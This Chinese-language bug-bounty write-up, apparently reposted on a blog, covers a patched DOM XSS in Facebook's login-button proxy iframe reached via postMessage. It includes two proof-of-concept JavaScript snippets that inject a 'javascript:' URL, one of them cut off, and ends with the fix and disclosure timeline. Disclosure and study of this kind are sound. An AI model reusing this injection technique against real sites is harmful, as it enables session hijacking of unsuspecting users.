挖洞经验 | 从postMessage跨域通信中发现的Facebook DOM XSS($20000)

林哲

发表文章数:996

专业SEO优化

  • 正规SEO优化手法
  • 承诺流量+权重提升
  • 强大的团队解决问题
  • 全心全意的服务
  • 立即咨询
    首页 » WEB安全 » 挖洞经验 | 从postMessage跨域通信中发现的Facebook DOM XSS($20000)

    文章目录

    • window.postMessage()
    • 漏洞背景
    • Exploiting the Iframe
    • 漏洞修复
    • 漏洞PoC视频
    • 漏洞影响
    • 漏洞上报和处理进程

    挖洞经验 | 从postMessage跨域通信中发现的Facebook DOM XSS(000)
     

    文章讲述了作者分析Facebook开发者网站https://developers.facebook.com,从中发现网站postMessage()方法存在安全配置问题,可形成DOM XSS漏洞,对Facebook用户个人信息和账户构成威胁。漏洞最终获得Facebook奖励$20000。

    window.postMessage()

    window.postMessage() 方法可以实现跨域通信。通常来说,对于两个不同页面的脚本,只有基于同源策略时,这两个脚本才能相互通信。而window.postMessage() 方法借助postMessage API,即可实现跨域间的通信,例如,在一个页面和它生成的弹出窗口之间,或者是页面和嵌入其中的iframe之间。

    挖洞经验 | 从postMessage跨域通信中发现的Facebook DOM XSS(000)
     

    更多postMessage方法的跨域通信知识,可以参考以下文章:

    How cross window/frame communication happens in Javascript

    The pitfalls of postMessage

    https://ngailong.wordpress.com/2018/02/13/the-mystery-of-postmessage/

    漏洞背景

    我认为postMessage引发的漏洞一直是被漏洞众测平台低估的,而且好多漏洞测试人员好像都不怎么重视。

    最近,在找烦了一些开放接口和泄露密码类的漏洞之后,我想找找客户端漏洞,一开始我聚焦的范围是跨站脚本包含(XSSI)、JSONP(JSON with Padding)和postMessage类漏洞,但在cookie机制引入了SameSite属性后,前两种漏洞几乎已经灭绝了, 因此,我把重点放到了容易被大多数安全研究者忽视的postMessage漏洞身上,而且这种类型的漏洞测试起来相对简单且无需绕过防火墙。

    为了方便测试/记录页面中的跨窗口通信,我自己写了一个Chrome插件式的跨域测试工具。正常来说,网站在小部件(widgets)、 插件(plugins)和开发组件(web SDKs)之间会使用iframe跨域通信。因此,我把测试目标定位在了Facebook网站的iframe框架上,这里,首当其冲的就是Facebook的开发者网站https://developers.facebook.com,因为该网站包含了很多的第三方插件。

    之后,我发现该网站中的“Facebook Login SDK for JavaScript”创建了一个代理性质的iframe:v6.0/plugins/login_button.php,Facebook用它来进行跨域通信,其中该代理iframe还负责加载“Continue with Facebook ”按钮,但更有意思的是,网站中的javascript SDK在与该代理iframe通信时,其向代理iframe发送的一个初始负载中包含了“Continue with Facebook ”按钮的URL链接。大致的流程图如下:

    挖洞经验 | 从postMessage跨域通信中发现的Facebook DOM XSS(000)
     

    如果我们仔细观察上述javascript SDK发给代理iframe的初始Payload,可以看到,其中的url参数会被一个i变量进行调用,而且,当按钮被用户点击后,会触发以下window.open事件:

    i.url = i.url.replace(/cbt=\d+/, “cbt=” + a);

    a = window.open(i.url, i.id, b(“buildPopupFeatureString”)(i));

    挖洞经验 | 从postMessage跨域通信中发现的Facebook DOM XSS(000)
     

    当我看到 window.open 事件中的javascript时,我就若有所思了,因为用它可以来构造window.open(‘javascript:alert(document.domain)’)这种DOM XSS的漏洞利用,而且在javascript中,完全没有URL或其它形式的身份验证机制。

    因此,如果我们向Facebook代理iframe-https://www.facebook.com/v6.0/plugins/login_button.php,发送一个形如url:’javascript:alert(document.domain)’的Payload后,如果用户点击了“Continue With Facebook”按钮后,那么javascript:alert(document.domain)就会毫无疑问地在facebook.com网站中触发执行了!

    Exploiting the Iframe

    这里有两种方法来进行构造利用:

    1、打开一个弹出窗口并与其进行通信

    2、打开一个iframe并与其进行通信

    弹窗方法的构造代码如下:

    <script>  

       var opener = window.open("https://www.facebook.com/v6.0/plugins/login_button.php?app_id=APP_ID&auto_logout_link=false&button_type=continue_with&channel=REDIRECT_URL&container_width=734&locale=en_US&sdk=joey&size=large&use_continue_as=true","opener", "scrollbars=no,resizable=no,status=no,location=no,toolbar=no,menubar=no,width=500,height=1");

       setTimeout(function(){

            var message = {"xdArbiterHandleMessage":true,"message":{"method":"loginButtonStateInit","params":JSON.stringify({'call':{'id':'123','url':'javascript:alert(document.domain);','size':{'width':10,'height':10},'dims':{'screenX':0,'screenY':23,'outerWidth':1680,'outerHeight':971,'screenWidth':1680}}})},"origin":"ORIGIN"};

            opener.postMessage(message, '*');

        },'4000');

    </script>

     

    在构造iframe方法时,由于Facebook的该网站服务端中缺失’X-Frame-Options’头或CSP嵌入策略头’frame-ancestors’,所以可以在构造代码中嵌入以下页面:

    <script>function fbFrameLoaded() {  var iframeEl = document.getElementById('fbframe');  var message = {"xdArbiterHandleMessage":true,"message":{"method":"loginButtonStateInit","params":JSON.stringify({'call':{'id':'123','url':'javascript:alert(document.domain);','size':{'width':10,'height':10},'dims':{'screenX':0,'screenY':23,'outerWidth':1680,'outerHeight':971,'screenWidth':1680}}})},"origin":"ORIGIN"};  iframeEl.contentWindow.postMessage(message, '*');<iframe id="fbframe" src="https://www.facebook.com/v6.0/plugins/login_button.php?app_id=APP_ID&auto_logout_link=false&button_type=continue_with&channel=REDIRECT_URL&container_width=734&locale=en_US&sdk=joey&size=large&use_continue_as=true" onload="fbFrameLoaded(this)"></ifra

    漏洞修复

    Facebook通过添加了facebook.com正则域规则,并在javascript SDK发送给代理iframe的Payload中实施了url参数检查校验,最终修复了该漏洞。

    d = b("isFacebookURI")(new (g || (g = b("URI")))(c.call.url)),

    j = c.call;

    d || (j.url = b("XOAuthErrorController").getURIBuilder().setEnum("error_code", "PLATFORM__INVALID_URL").getURI().toString())

     

    漏洞PoC视频

    漏洞影响

    漏洞源于postmessage通信时的错误配置,导致攻击者可以构造恶意页面诱惑受害者点击其中的login with the Facebook按钮,从而会在facebook.com网站中触发一系列的恶意XSS Payload执行,深入利用将对受害者账户造成一键点击劫持。

    漏洞上报和处理进程

    2020.4.17 – 漏洞初报

    2020.4.17 – Facebook确认漏洞有效

    2020.4.20 – Facebook修复漏洞

    2020.4.29 – Facebook验证漏洞修复有效

    2020.5.01 – Facebook奖励了我$20000

    *参考来源:vinothkumar,clouds 编译整理,转载请注明来自 ALA林哲

    分享到:
    赞(0)

    评论 抢沙发

    2 + 1 =


    Vieu4.5主题
    专业打造轻量级个人企业风格博客主题!专注于前端开发,全站响应式布局自适应模板。
    切换注册

    登录

    忘记密码 ?

    切换登录

    注册